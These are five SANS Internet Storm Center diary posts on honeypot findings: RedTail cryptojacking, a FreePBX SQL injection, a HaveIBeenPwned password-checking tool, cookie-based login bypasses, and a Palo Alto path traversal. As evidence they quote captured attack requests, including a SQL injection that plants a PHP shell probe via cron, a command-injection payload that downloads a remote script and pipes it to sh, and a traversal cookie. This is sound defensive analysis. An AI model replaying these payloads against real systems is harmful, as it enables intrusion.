This post was originally published on this site

[This is a Guest Diary by Jin Quan Low, an ISC intern as part of the SANS.edu Bachelor's Degree in Applied Cybersecurity (BACS) program [1].]

Ransomware [2] is often the first word that comes to mind when we think about cybercriminals chasing financial gain. It barges in, locks files, drops ransom notes, and causes immediate disruption.

Cryptojacking [3], on the other hand, acts like a quiet trespasser. It slips in unnoticed, makes itself at home, and hijacks computing resources in the background to mine cryptocurrency while the victim stays unaware. Because it rarely causes disruptions, cryptojacking does not get the same level of attention as ransomware. 

Over the past three months, my DShield honeypot captured repeated attempts to deploy RedTail, a cryptojacking malware first observed in early 2024 [4]. RedTail targets Monero cryptocurrency [5], typically gaining access through brute-forced SSH logins or exploiting vulnerabilities and deploying scripts to establish persistence and launch mining processes. The activity observed showed that compromises can extend beyond simple cryptomining, making RedTail a relevant case study for defenders.

Mapping Attacks to MITRE ATT&CK Tactics, Techniques and Procedures (TTPs)

Malware IOCs are very useful for quick detection, but they can be easily invalidated. Attackers only need to change part of their code, and those indicators lose all value. RedTail malware is no exception. Researchers had already detected different hashes of the same malware [6]. 

TTPs on the other hand rarely change and can be leveraged to detect similar threat behaviours. Hence, the observed attack involving RedTail malware will be mapped to the MITRE ATT&CK framework and how we can better defend ourselves. 

ATT&CK framework can be categorized into PRE-ATT&CK and ATT&CK (Refer to Figure 1).

Figure 1: PRE-ATT&CK & ATT&CK (MITRE ATT&CK framework)

 

The following attack sequence observed from my honeypot is mapped to this framework as an example.

PRE-ATT&CK

The early phases — reconnaissance and weaponization — may not always appear in logs, but later activity on the honeypot shows the existence of those phases (refer to Figure 2).

• Reconnaissance: Attackers scan IP ranges to look for exposed services (T1595.001: Active Scanning – Scanning IP Block).
• Weaponization: They develop or package their malware payloads (T1587.001: Develop Capabilities – Malware) and stage them for delivery (T1608.001: Stage Capabilities – Upload Malware).

Figure 2: PRE-ATT&CK phase showing reconnaissance and weaponization techniques observed

 

ATT&CK

ATT&CK phase entails the Deliver, Exploit, Control, Execute and Maintain stages.

The Deliver phase (refer to Figure 3) is mapped to the following stages:

• Initial Access: In my honeypot, attackers attempted brute-force SSH logins and eventually succeeded using valid credentials (T1078.002: Valid Accounts – Local Account).
• Execution: Once inside, attackers ran clean.sh and setup.sh to prepare the environment (T1059.004: Command and Scripting Interpreter – Unix Shell).
• Persistence: Attackers implanted their own SSH keys to maintain access (T1098.004: Account Manipulation – SSH Authorized Keys). This allowed them to return at will, bypassing password controls.

Figure 3: Deliver phase highlighting brute-forced SSH access, script execution, and persistence methods)

 

The Exploit to Execute phase (refer to Figure 4) is mapped to the following stages:

• Defense Evasion: Attackers deleted files to cover their tracks (T1070.004: Indicator Removal – File Deletion). 
• Discovery: Attackers queried system information to confirm compatibility before deploying RedTail (T1082: System Information Discovery).

Figure 4: Exploit and Execute phase showing file deletion and system discovery activity

 

The Execute and Maintain phase (refer to Figure 5) is mapped to the following stages:

• Command and Control: Outbound HTTPS traffic (Port 443) from infected systems to malicious mining pool servers [6]. This matches ATT&CK’s T1071.001: Application Layer Protocol – Web Protocols.
• Impact: RedTail malware is known to hijack CPU cycles to mine cryptocurrency (T1496.001: Resource Hijacking – Compute Hijacking). While subtle, this creates financial and performance costs for victims.

Figure 5: Execute and Maintain stage including outbound pool traffic and cryptojacking impact

 

Unique Observations from Honeypot

While RedTail has been reported in multiple incidents, my honeypot logs revealed several noteworthy behaviors beyond generic cryptojacking activity:

• Brute-forced SSH access: Attackers brute-forced SSH logins before deploying RedTail, showing that weak credentials remain an active entry vector.
• Script-based setup: After gaining access, they uploaded and executed setup.sh to configure the miner. They also ran clean.sh to remove competing cryptomining processes, ensuring RedTail had exclusive use of system resources.
• Persistence through SSH keys: Attackers implanted their own SSH keys into ~/.ssh/authorized_keys, allowing them to return without repeating brute-force attempts.
• Defense evasion: Logs recorded file deletion commands, which indicated that attackers tried to cover their tracks after installation.

These observations show that RedTail campaigns extend beyond simple cryptomining. Attackers maintain persistence, remove competition, and conceal their activity — behaviors that defenders should use when building detection and response strategies.

Mitigation

Defending against RedTail and similar cryptojacking malware requires a two-stage approach: prevention and detection/response.

1. Prevention (First Line of Defense)
   • Hardening Access
     • Use SSH key authentication and disable password logins.
     • Rate-limit SSH login attempts; enforce lockouts on repeated failures (fail2ban).
     • Disable root logins (PermitRootLogin no) and unnecessary services.
   • Patching and Updates
     • Apply security updates.
   • Network Controls
     • Restrict unnecessary inbound access.
     • Segment honeypots and exposed systems from production assets.
     • Block or sinkhole known mining pool connections.
        
2. Detection & Response (Catching What Slips Through)
   • Visibility
     • Enable detailed SSH, process, and outbound network logging.
     • Monitor CPU, memory, and disk I/O for abnormal sustained spikes.
   • TTP-Based Detection
     • Watch for brute-force attempts and repeated failed logins.
     • Flag unauthorized entries in ~/.ssh/authorized_keys.
     • Detect creation of unusual systemd services.
     • Monitor encrypted outbound traffic to unknown/private pools.
   • Response Actions
     • Isolate compromised hosts immediately.
     • Remove attacker SSH keys and terminate mining processes.
     • Rebuild compromised systems from clean images.
   • Continuous Monitoring
     • Track for reinfection attempts.
     • Use honeypots (like DShield) to capture new TTPs and feed them into defenses.

Conclusion

The only way to detect threats is to look for them, and detection has little value without response. Protecting devices and networks remains challenging but achievable with layered defenses. As the world grows more connected and attackers getting craftier, defenders must improve too.

[1] https://www.sans.edu/cyber-security-programs/bachelors-degree/
[2] https://www.checkpoint.com/cyber-hub/threat-prevention/ransomware/
[3] https://www.malwarebytes.com/cryptojacking
[4] https://www.akamai.com/blog/security-research/2024-redtail-cryptominer-pan-os-cve-exploit
[5] https://www.forescout.com/blog/new-redtail-malware-exploited-via-php-security-vulnerability/
[6] https://isc.sans.edu/diary/30950
[7] https://www.virustotal.com/gui/file/89782d8142297907c9962eebdae29c28df86805a99f38a683ab55c8fa1596dd8/behavior

 

—
Jesse La Grew
Handler

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.

This post was originally published on this site

FreePBX is a popular PBX system built around the open source VoIP system Asterisk. To manage Asterisk more easily, it provides a capable web-based admin interface. Sadly, like so many web applications, it has had its share of vulnerabilities in the past. Most recently, a SQL injection vulnerability was found that allows attackers to modify the database.

For a PBX, there are a number of obvious attacks. For example, they are often abused for free phone calls, to impersonate the companies running the PBX, or to hide the true origin of phone calls. Manipulating the FreePBX database would certainly facilitate these types of attacks. However, I noticed some slightly more interesting attacks recently attempting to achieve complete code execution.

A typical request looks like:

GET /admin/ajax.php?module=FreePBXmodulesendpointajax&command=model&template=x&model=model&brand=x' ;INSERT INTO cron_jobs (modulename,jobname,command,class,schedule,max_runtime,enabled,execution_order) VALUES ('sysadmin','takdak','echo "PD9waHAgaGVhZGVyKCd4X3BvYzogQ1ZFLTIwMjUtNTc4MTknKTsgZWNobyBzaGVsbF9leGVjKCd1bmFtZSAtYScpOyB1bmxpbmsoX19GSUxFX18pOyA/Pgo="|base64 -d >/var/www/html/rspgf.php',NULL,'* * * * *',30,1,1) --

The "brand" parameter is used for the SQL injection, and the parameter decodes to:

 ;INSERT INTO cron_jobs (modulename,jobname,command,class,schedule,max_runtime,enabled,execution_order) VALUES ('sysadmin','takdak','echo "PD9waHAgaGVhZGVyKCd4X3BvYzogQ1ZFLTIwMjUtNTc4MTknKTsgZWNobyBzaGVsbF9leGVjKCd1bmFtZSAtYScpOyB1bmxpbmsoX19GSUxFX18pOyA/Pgo="|base64 -d >/var/www/html/rspgf.php',NULL,'* * * * *',30,1,1) --

FreePBX uses the "cron_jobs" database to assist in the management of cron jobs. Inserting a line into the table results in simple, arbitrary code execution. The command injected creates a file /var/www/html/rspgf.php, with the following content:

<?php header('x_poc: CVE-2025-57819'); echo shell_exec('uname -a'); unlink(__FILE__); ?>

So, a simple test to see if the system is vulnerable. Interestingly, the file deletes itself after being accessed by the attacker. The cron job should persist and re-create the file every minute, which makes the "unlink" kind of pointless. I do not see any hits in our honeypot for this file. Reviewing the cron_jobs table should be another good way to find similar exploits.

Please make sure your FreePBX instance is up to date. The vulnerability was initially made public on August 28th [1], and was already exploited at the time.

[1] https://community.freepbx.org/t/security-advisory-please-lock-down-your-administrator-access/107203

 

—
Johannes B. Ullrich, Ph.D. , Dean of Research, SANS.edu
Twitter|

 

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.

This post was originally published on this site

[This is a Guest Diary by Draden Barwick, an ISC intern as part of the SANS.edu Bachelor's Degree in Applied Cybersecurity (BACS) program [1].]

DShield Honeypots are constantly exposed to the internet and inundated with exploit traffic, login attempts, and other malicious activity. Analyzing the logged password attempts can help identify what attackers are targeting. To go through these passwords, I have created a tool that leverages HaveIBeenPwned’s (HIBP’s) API to flag passwords that haven’t appeared in any breaches.

Purpose

Identifying passwords that haven’t been seen in known breaches is useful because it can indicate additional planning and help identify patterns in these less common passwords. Anyone that operates a honeypot (and receives a lot of data on attempted use of passwords in plaintext) could benefit from this project as an additional starting point for investigations.

Development

HaveIBeenPwned maintains a large database of breached passwords and offers an API to tell if a given password has been compromised. This is done by making a request to “https://api.pwnedpasswords.com/range/#####”. Where the “#####” part in a request is the first 5 characters (prefix) of the SHA1 hash of the tested password. The site will return a list of the last 35 characters (suffix) for any password hash in the database that starts with the provided prefix. Each entry includes a count of how many times the corresponding password has been seen in breaches. This prevents anyone from knowing the full hash of the password we are looking for based on the request alone. While this consideration is not important for our use with the DShield honeypots (as all passwords seen are publicly uploaded), it is important to understand because HIBP does not allow for searching with the full hash directly [2].

To gather a list of all passwords my honeypot has gathered, I used JQ to parse the cowrie.json files located in the /srv/cowrie/var/log/cowrie directory. This command matches on any login failures or successes, and returns the password field from matching entries:

jq -r 'select(.eventid=="cowrie.login.failed" or .eventid=="cowrie.login.success") | [.password] | @tsv' /srv/cowrie/var/log/cowrie/cowrie.json* 

To extend this, we can remove duplicates using sort and uniq and save the unique passwords to a file:

jq -r 'select(.eventid=="cowrie.login.failed" or .eventid=="cowrie.login.success") | [.password] | @tsv' /srv/cowrie/var/log/cowrie/cowrie.json* | sort | uniq > ~/uniquepass.txt

As of writing, this took the number of passwords from 51,601 to 16,210 unique passwords.

Now that we have a list of unique passwords, the next steps are to: read the created password file, take the SHA1 hash of each line, query the API for the hash prefix, and check for the hash suffix in the results.

To accomplish this, I created a Python script that utilizes one input file and two output files. The input file has a list of passwords to check with one entry per line. One output file stores all passwords that have been checked, the SHA1 hash, and how many times HIBP has seen the password (this file is a CSV used to avoid checking a password in the input file if it has been checked before). The other output file stores the plaintext of any password never seen by HIBP. The command line usage looks like this:

python3 queryHIBP.py uniquepass.txt passwordResults.csv unseenPasswords.txt

This resulted in the identification of 1,196 passwords that HIBP has not seen.

Code Breakdown

The code, available on GitHub [3], has thorough commenting but we will examine some parts here to gain a deeper understanding of how it functions.

In Figure 1, we can see the section of code that handles reading the results file that includes all passwords we have searched for. This is expected to be formatted as a CSV file with a header of “password,sha1,count”. As explained above, this helps avoid checking passwords unnecessarily.

The code opens the file with csv.DictReader, checks for “password” in the header, then uses a for loop to go through all of the rows to pull non-empty passwords and add them to a set. The set is returned at the end of the function.

 
Figure 1: Code used to read all previously checked passwords.

 

In Figure 2, we can see the code used to make API requests and handle a common error. First, a loop is established and the API request is made. Second, we check for a 429 response code which means there were too many requests. If there was a 429 error, HIBP will add a “Retry-After” header which lets us know how long to wait before trying again. The user agent is specified elsewhere as “PasswordCheckingProject” because HIBP states that “A missing user agent will result in an HTTP 403 response” [4].

Figure 2: Code used to make API requests and handle expected 429 errors.

 

Figure 3 shows the behavior for handling additional errors and normal function. Firstly, “resp.raise_for_status” is called which would raise an exception if there were an error with the HTTP request. If there’s no error, we simply iterate through all lines of the response to save the hash suffix and count in a dictionary, then return it. If an exception is raised, we increment an “attempt” variable which lets us cap the number of retries which is set to three by default. If the max is hit here, the code will print an error message indicating what prefix was being checked and exit. If there are more retries remaining, the script will wait 5 seconds before continuing. Figure 2 has a similar check for max retries to avoid a potential infinite loop of 429 errors.

Figure 3: Code used to store & return request results or deal with continued/unexpected errors.

 

Implementation

To download the project and try it out with some test data, one can run the following:

git clone https://github.com/MeepStryker/queryHIBP.git
cd queryHIBP
python3 queryHIBP.py ./sampleInput.txt ./passwordResults.csv ./unseenPasswords.txt

As the script runs, it will print out each unseen password identified and a short summary at the end as seen in Figure 4.

Figure 4: Script output using real data.

 

Automation

To automate the use of this tool, I created a cron job to run the JQ command & output results to a file and made another job to run the script with the needed arguments. These are set to run daily with the script running 5 minutes after the JQ command. This uses the following crontab entries:

0 17 * * * jq -r 'select(.eventid=="cowrie.login.failed" or .eventid=="cowrie.login.success") | [.password] | @tsv' /srv/cowrie/var/log/cowrie/cowrie.json* | sort | uniq > ~/uniquepass.txt

5 17 * * * python3 ~/queryHIBP.py ~/uniquepass.txt ~/passwordResults.csv ~/unseenPasswords.txt

The script runs 5 minutes after the JQ command to ensure there is more than enough time to create the input file. Since there is a limit on how long logs are retained, there are no concerns about this ever starting to take longer.

I chose this method over adding parsing functionality into the script out of convenience. Using the script would require additional logic and either hardcoding locations to check for logs or dealing with more arguments. As it is designed, anyone can easily plugin a list of passwords without having to worry about many command line options or editing the script.

Results

The script accurately provides information on passwords that HaveIBeenPwned has not seen in prior breaches. While there were more unseen passwords than one may expect (1,196 or ~7.4% of all unique passwords as of writing), it provides interesting insight into what some actors may be targeting. The results also reveal patterns for password mutations that are being leveraged for access attempts:

deploy12345 deploy123456 deploy1234567 deploy12345678 deploy@2022 deploy@2023 deploy@2025 deploy2025 deploy@321 deploypass P@$$vords123 P@$sw0rd# P4$$word!@# P455wORd

P@55W0RD2004 Pa$$word2016! pa33w0rd!@ Pa55w0rd@2021 passw0rd!@#$ pass@w0rd.12345 passwd@123! PaSswORD@123 password@2!@ PaSswORd2021 password!2024 password!2025 Password43213 password!@#456

Password Patterns & Analysis

Analyzing the passwords seen in the above Results section can provide some insight into what techniques are being used to generate passwords.

Consider the above sample of results. Broadly speaking, this ‘deploy family’ of passwords was likely generated by starting with a base password of “deploy” and adding common modifiers to increase complexity. Seen here are good examples of the most simple ones: adding the year (with an @ sign in this case) and adding sequential numbers.

The rest of the entries above are all based on the word ‘password’. These are more complex than what we saw with ‘deploy’. Below are three entries, a plain explanation of a Hashcat rule that could be used to come up with it, and a sample implementation of the rule:

• P4$$word!@#
  • Capitalize the first letter, replace a’s with 4’s, replace s’s with $’s, add !@# to end – c sa4 ss$ $! $@ $#
• P@55W0RD2004
  • Capitalize all letters, replace a’s with @’s, replace s’s with 5’s, replace o’s with 0’s, and add a year to the end – u sa@ ss5 so0 $2 $0 $0 $4
• Password!2024
  • Capitalize the first letter, add ! and a year to the end – t0 $! $2 $0 $2 $4

Both Hashcat and John the Ripper can make these modifications by using rules to augment password lists. The rules allow various changes to input such as replacing or swapping certain characters with others. Note that while much of the rules syntax between these tools is similar, there are some differences [5].

Looking through the unseen passwords, we can also see more specific targets such as Elasticsearch, Oracle, PostgresSQL, and Ubuntu. Figure 5 shows some of these passwords, which use the same kind of modifications mentioned earlier, and illustrate the relative difference in frequency.

Figure 5: Passwords related to specific services/platforms.

Overall Takeaway

While a good amount of manual analysis will still be required, these results can provide a lot of value and the script helps cut down on time. We can learn more about common password modifications to avoid and even get an idea of the relative interest of different targets. In Figure 5 alone, we can see that PostgresSQL may be roughly two times more likely to be targeted than Elasticsearch with newer installations being targeted in particular.

For future work, I would add a feature to recheck the known unseen passwords to identify if they happen to be newly breached.

Additionally, I may consider adding two features for convenience. The first would be re-sorting the unseen file since it is append only. The second would be parsing features to simplify automation and allow the script to provide more functionality for end users.

[1] https://www.sans.edu/cyber-security-programs/bachelors-degree/
[2] https://haveibeenpwned.com/API/v3#PwnedPasswords
[3] https://github.com/MeepStryker/queryHIBP
[4] https://haveibeenpwned.com/API/v3#UserAgent
[5] https://hashcat.net/wiki/doku.php?id=rule_based_attack#compatibility_with_other_rule_engines

 

—
Jesse La Grew
Handler

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.

This post was originally published on this site

One of the common infosec jokes is that sometimes, you do not need to "break" an application, but you have to log in. This is often the case for weak default passwords, which are common in IoT devices. However, an even easier method is to tell the application who you are. This does not even require a password! One of the sad recurring vulnerabilities is an HTTP cookie that contains the user's username or userid.

I took a quick look at our honeypot for cookies matching this pattern. Here is a selection:

Cookie: uid=1
Cookie: user=admin
Cookie: O3V2.0_user=admin
Cookie: admin_id=1; gw_admin_ticket=1
Cookie: RAS_Admin_UserInfo_UserName=admin
Cookie: CMX_SAVED_ID=zero; CMX_ADMIN_ID=science; CMX_ADMIN_NM=liquidworm; CMX_ADMIN_LV=9; CMX_COMPLEX_NM=ZSL; CMX_COMPLEX_IP=2.5.1.
Cookie: admin_id=1; gw_admin_ticket=1;
Cookie: ASP.NET_SessionId=; sid=admin

These are listed by frequency, with "uid=1" being the most commonly used value.

Let's see if we can identify some of the targeted vulnerabilities.

For the first one (uid=1), the URL hit is:

/device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=<some shell command>

%%CVE:2024-3w721%%: This is a relatively new (2024) OS command injection vulnerability in certain TBK DVRs. 

The second one is also an IoT-style issue:

POST /goform/set_LimitClient_cfg
User-Agent: Mozilla/5.0 (makenoise@tutanota.de)
Content-Type: application/x-www-form-urlencoded
Content-Length: 113
Cookie: user=admin

time1=00:00-00:00&time2=00:00-00:00&mac=%3Bwget%20-qO-%20http%3A%2F%2F74.194.191.52%2Frondo.xqe.sh%7Csh%26echo%20

%%CVE:2023-26801%%: Another "classic" IoT issue. This one affects LB-LINK wireless routers. This vulnerability may never have been patched, but I'm unsure how popular these routers are.

The cookie "O3V2.0_user=admin" is associated with a similar, but more recent issue affecting Tenda O3V2 wireless access points. Wireless internet service providers (WISPs) often use these outdoor access points. The vulnerability is similar to the issue above in that a POST request to "/goform/setPingInfo" is used to carry an OS injection payload—the common URL schemes like "/goform" point to similar firmware and likely similar vulnerabilities.

" admin_id=1; gw_admin_ticket=1": Google returned a reference to a post in Chinese, implying that this is a vulnerability in "Qi'anxin VPN" and allows arbitrary account and password modification.

"RAS_Admin_UserInfo_UserName=admin" affects the "Comai RAS System" software for managing remote desktop environments. Most references to the vulnerability are in Chinese. I did not see a CVE number, but the vulnerability appears to be three years old.

"CMX_SAVED_ID=zero; CMX_ADMIN_ID=science": No CVE, and there is no fix for this issue, which was discovered in 2021. Only affects a biometric access system 🙁 (COMMAX. See https://www.zeroscience.mk/en/vulnerabilities/ZSL-2021-5661.php.

So in short: Yes… These vulnerabilities are out there, and they are exploited.

—
Johannes B. Ullrich, Ph.D. , Dean of Research, SANS.edu
Twitter|

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.

This post was originally published on this site

We are all aware of the abysmal state of security appliances, no matter their price tag. Ever so often, we see an increase in attacks against some of these vulnerabilities, trying to mop up systems missed in earlier exploit waves. Currently, on source in particular, %%ip:141.98.82.26%% is looking to exploit systems vulnerable to CVE-2024-3400. The exploit is rather straightforward. Palo Alto never considered it necessary to validate the session id. Instead, they use the session ID "as is" to create a session file. The exploit is well explained by watchTowr [1].

First, we see a request to upload a file:

POST /ssl-vpn/hipreport.esp
Host: [honeypot ip]:8080
User-Agent: Mozilla/5.0 (ZZ; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36
Connection: close
Content-Length: 174
Content-Type: application/x-www-form-urlencoded
Cookie: SESSID=/../../../var/appweb/sslvpndocs/global-protect/portal/images/33EGKkp7zRbFyf06zCV4mzq1vDK.txt;
Accept-Encoding: gzip

user=global&portal=global&authcookie=e51140e4-4ee3-4ced-9373-96160d68&domain=global&computer=global&client-ip=global&client-ipv6=global&md5-sum=global&gwHipReportCheck=global

Next, a request to retrieve the uploaded file:

GET /global-protect/portal/images/33KFpJLBHsMmkNuxs7pqpGOIIgF.txt
host: [honeypot ip]
user-agent: Mozilla/5.0 (Ubuntu; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/132.0.0.0 Safari/537.36
connection: close
accept-encoding: gzip

This will return a "403" error if the file exists, and a "404" error if the upload failed. It will not execute code. The content of the file is a standard Global Protect session file, and will not execute. A follow-up attack would upload the file to a location that leads to code execution. 

The same source is also hitting the URL "/Synchronization" on our honeypots. Google AI associates this with a Global Protect vulnerability discovered last week, but this appears to be a hallucination.  

[1] https://labs.watchtowr.com/palo-alto-putting-the-protecc-in-globalprotect-cve-2024-3400/

—
Johannes B. Ullrich, Ph.D. , Dean of Research, SANS.edu
Twitter|

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.